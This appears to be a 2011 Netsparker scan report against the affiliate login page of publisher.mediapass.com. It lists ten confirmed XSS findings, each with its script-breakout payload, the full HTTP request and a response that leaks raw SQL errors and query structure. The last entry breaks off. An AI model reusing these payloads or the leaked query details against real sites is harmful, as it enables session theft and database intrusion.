Netsparker, Web Application Security Scanner
Loading

XSS, Cross Site Scripting, Javascript Injection, publisher.mediapass.com, CWE-79, CAPEC-86

Netsparker - Scan Report Summary
TARGET URL
http://publisher.mediapass.com/Affiliate/logi...
SCAN DATE
3/18/2011 4:57:34 PM
REPORT DATE
3/18/2011 5:17:44 PM
SCAN DURATION
00:03:35

Total Requests

6674

Average Speed

31.04 req/sec.
17
identified
12
confirmed
0
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
65 %
LOW
24 %
INFORMATION
12 %
Cross-site Scripting

Cross-site Scripting

10 TOTAL
IMPORTANT
CONFIRMED
10
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx?__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDAT..

Parameters

Parameter Type Value
__EVENTARGUMENT GET 3
__EVENTTARGET GET 3
__EVENTVALIDATION GET /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
__VIEWSTATE GET /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9+Q==
chkStoreLogin GET 3
LoginName GET '"--></style></script><script>alert(0x00005D)</script>
LoginPassword GET 3
SubmitButton GET Login

Request

GET /Affiliate/login.aspx?__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&chkStoreLogin=3&LoginName=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x00005D)%3C%2Fscript%3E&LoginPassword=3&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 572
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:57:54 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x00005D)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x00005D)</script>') And LoginPassword=N'3'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x00005D)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x00005D)</script>') And LoginPassword=N'3'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx?__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDAT..

Parameters

Parameter Type Value
__EVENTARGUMENT GET 3
__EVENTTARGET GET 3
__EVENTVALIDATION GET /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
__VIEWSTATE GET /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9+Q==
chkStoreLogin GET 3
LoginName GET Ronald Smith
LoginPassword GET '"--></style></script><script>alert(0x000079)</script>
SubmitButton GET Login

Request

GET /Affiliate/login.aspx?__EVENTARGUMENT=3&__EVENTTARGET=3&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPassword=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x000079)%3C%2Fscript%3E&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 496
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:58:11 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x000079)</script>'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x000079)</script>'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPa..

Parameters

Parameter Type Value
chkStoreLogin GET 3
LoginName GET Ronald Smith
LoginPassword GET 3
SubmitButton GET Login
__EVENTTARGET POST 3
__EVENTARGUMENT POST 3
__VIEWSTATE POST /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9 Q==
__EVENTVALIDATION POST /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
LoginName POST '"--></style></script><script>alert(0x0000F2)</script>
LoginPassword POST 3
chkStoreLogin POST on
SubmitButton POST Login

Request

POST /Affiliate/login.aspx?chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPassword=3&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Content-Length: 482
Accept-Encoding: gzip, deflate

__EVENTTARGET=3&__EVENTARGUMENT=3&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&LoginName=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x0000F2)%3C%2Fscript%3E&LoginPassword=3&chkStoreLogin=on&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 572
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:58:37 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x0000F2)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x0000F2)</script>') And LoginPassword=N'3'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x0000F2)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x0000F2)</script>') And LoginPassword=N'3'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPa..

Parameters

Parameter Type Value
chkStoreLogin GET 3
LoginName GET Ronald Smith
LoginPassword GET 3
SubmitButton GET Login
__EVENTTARGET POST 3
__EVENTARGUMENT POST 3
__VIEWSTATE POST /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9 Q==
__EVENTVALIDATION POST /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
LoginName POST Ronald Smith
LoginPassword POST '"--></style></script><script>alert(0x000110)</script>
chkStoreLogin POST on
SubmitButton POST Login

Request

POST /Affiliate/login.aspx?chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPassword=3&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Content-Length: 493
Accept-Encoding: gzip, deflate

__EVENTTARGET=3&__EVENTARGUMENT=3&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&LoginName=Ronald+Smith&LoginPassword=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x000110)%3C%2Fscript%3E&chkStoreLogin=on&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 496
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:58:41 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x000110)</script>'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x000110)</script>'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx

Parameters

Parameter Type Value
__EVENTTARGET POST 3
__EVENTARGUMENT POST 3
__VIEWSTATE POST /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9 Q==
__EVENTVALIDATION POST /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
LoginName POST '"--></style></script><script>alert(0x00011A)</script>
LoginPassword POST 3
chkStoreLogin POST on
SubmitButton POST Login

Request

POST /Affiliate/login.aspx HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Content-Length: 482
Accept-Encoding: gzip, deflate

__EVENTTARGET=3&__EVENTARGUMENT=3&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&LoginName=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x00011A)%3C%2Fscript%3E&LoginPassword=3&chkStoreLogin=on&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 572
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:58:47 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x00011A)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x00011A)</script>') And LoginPassword=N'3'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x00011A)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x00011A)</script>') And LoginPassword=N'3'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx

Parameters

Parameter Type Value
__EVENTTARGET POST 3
__EVENTARGUMENT POST 3
__VIEWSTATE POST /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9 Q==
__EVENTVALIDATION POST /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
LoginName POST Ronald Smith
LoginPassword POST '"--></style></script><script>alert(0x00012D)</script>
chkStoreLogin POST on
SubmitButton POST Login

Request

POST /Affiliate/login.aspx HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Content-Length: 493
Accept-Encoding: gzip, deflate

__EVENTTARGET=3&__EVENTARGUMENT=3&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&LoginName=Ronald+Smith&LoginPassword=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x00012D)%3C%2Fscript%3E&chkStoreLogin=on&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 496
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:58:52 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x00012D)</script>'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x00012D)</script>'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPa..

Parameters

Parameter Type Value
chkStoreLogin GET 3
LoginName GET Ronald Smith
LoginPassword GET 3
SubmitButton GET Login
__EVENTTARGET POST 3
__EVENTARGUMENT POST 3
__VIEWSTATE POST /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9 Q==
__EVENTVALIDATION POST /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
LoginName POST '"--></style></script><script>alert(0x0001C5)</script>
LoginPassword POST 3
SubmitButton POST Login

Request

POST /Affiliate/login.aspx?chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPassword=3&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Content-Length: 465
Accept-Encoding: gzip, deflate

__EVENTTARGET=3&__EVENTARGUMENT=3&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&LoginName=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x0001C5)%3C%2Fscript%3E&LoginPassword=3&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 572
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:59:24 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x0001C5)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x0001C5)</script>') And LoginPassword=N'3'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x0001C5)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x0001C5)</script>') And LoginPassword=N'3'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx

Parameters

Parameter Type Value
__EVENTTARGET POST 3
__EVENTARGUMENT POST 3
__VIEWSTATE POST /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9 Q==
__EVENTVALIDATION POST /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
LoginName POST '"--></style></script><script>alert(0x0001CC)</script>
LoginPassword POST 3
SubmitButton POST Login

Request

POST /Affiliate/login.aspx HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Content-Length: 465
Accept-Encoding: gzip, deflate

__EVENTTARGET=3&__EVENTARGUMENT=3&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&LoginName=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x0001CC)%3C%2Fscript%3E&LoginPassword=3&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 572
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:59:27 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x0001CC)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x0001CC)</script>') And LoginPassword=N'3'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N' ''"--></style></script><script>netsparker(0x0001CC)</script>' Or Email=N' ''"--></style></script><script>netsparker(0x0001CC)</script>') And LoginPassword=N'3'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPa..

Parameters

Parameter Type Value
chkStoreLogin GET 3
LoginName GET Ronald Smith
LoginPassword GET 3
SubmitButton GET Login
__EVENTTARGET POST 3
__EVENTARGUMENT POST 3
__VIEWSTATE POST /wEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51/YNyCGjdzADuCcmVFEYPcdK9 Q==
__EVENTVALIDATION POST /wEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS/KE=
LoginName POST Ronald Smith
LoginPassword POST '"--></style></script><script>alert(0x0001D5)</script>
SubmitButton POST Login

Request

POST /Affiliate/login.aspx?chkStoreLogin=3&LoginName=Ronald%20Smith&LoginPassword=3&SubmitButton=Login HTTP/1.1
Referer: http://publisher.mediapass.com/Affiliate/login.aspx?chkStoreLogin=&LoginName=&LoginPassword=&SubmitButton=Login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: publisher.mediapass.com
Cookie: ASP.NET_SessionId=01qqfv55fire0c55mpyuxu45
Content-Length: 476
Accept-Encoding: gzip, deflate

__EVENTTARGET=3&__EVENTARGUMENT=3&__VIEWSTATE=%2fwEPDwUKMTAzOTU2MDUyMA9kFgICAw9kFgICAw9kFgJmD2QWAmYPZBYCZg8PFgIeB1Zpc2libGVoZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDWNoa1N0b3JlTG9naW51%2fYNyCGjdzADuCcmVFEYPcdK9%2bQ%3d%3d&__EVENTVALIDATION=%2fwEWBQLamuiTCALM2PtaAqrXg84MAsqE5dYOArK44tQL9uq0HQMjsgiMOe0UEfKSghKS%2fKE%3d&LoginName=Ronald+Smith&LoginPassword=%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x0001D5)%3C%2Fscript%3E&SubmitButton=Login

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 496
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Fri, 18 Mar 2011 21:59:28 GMT


Incorrect syntax near ''.
Unclosed quotation mark after the character string ''.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x0001D5)</script>'Thread was being aborted.<p>SELECT AffiliateID From tblaff_Affiliates (NOLOCK) Where (LoginName=N'Ronald Smith' Or Email=N'Ronald Smith') And LoginPassword=N' ''"--></style></script><script>netsparker(0x0001D5)</script>'
- /Affiliate/login.aspx

/Affiliate/login.aspx CONFIRMED

http://publisher.mediapass.com/Affiliate/login.aspx

Parameters

Parameter Type Value
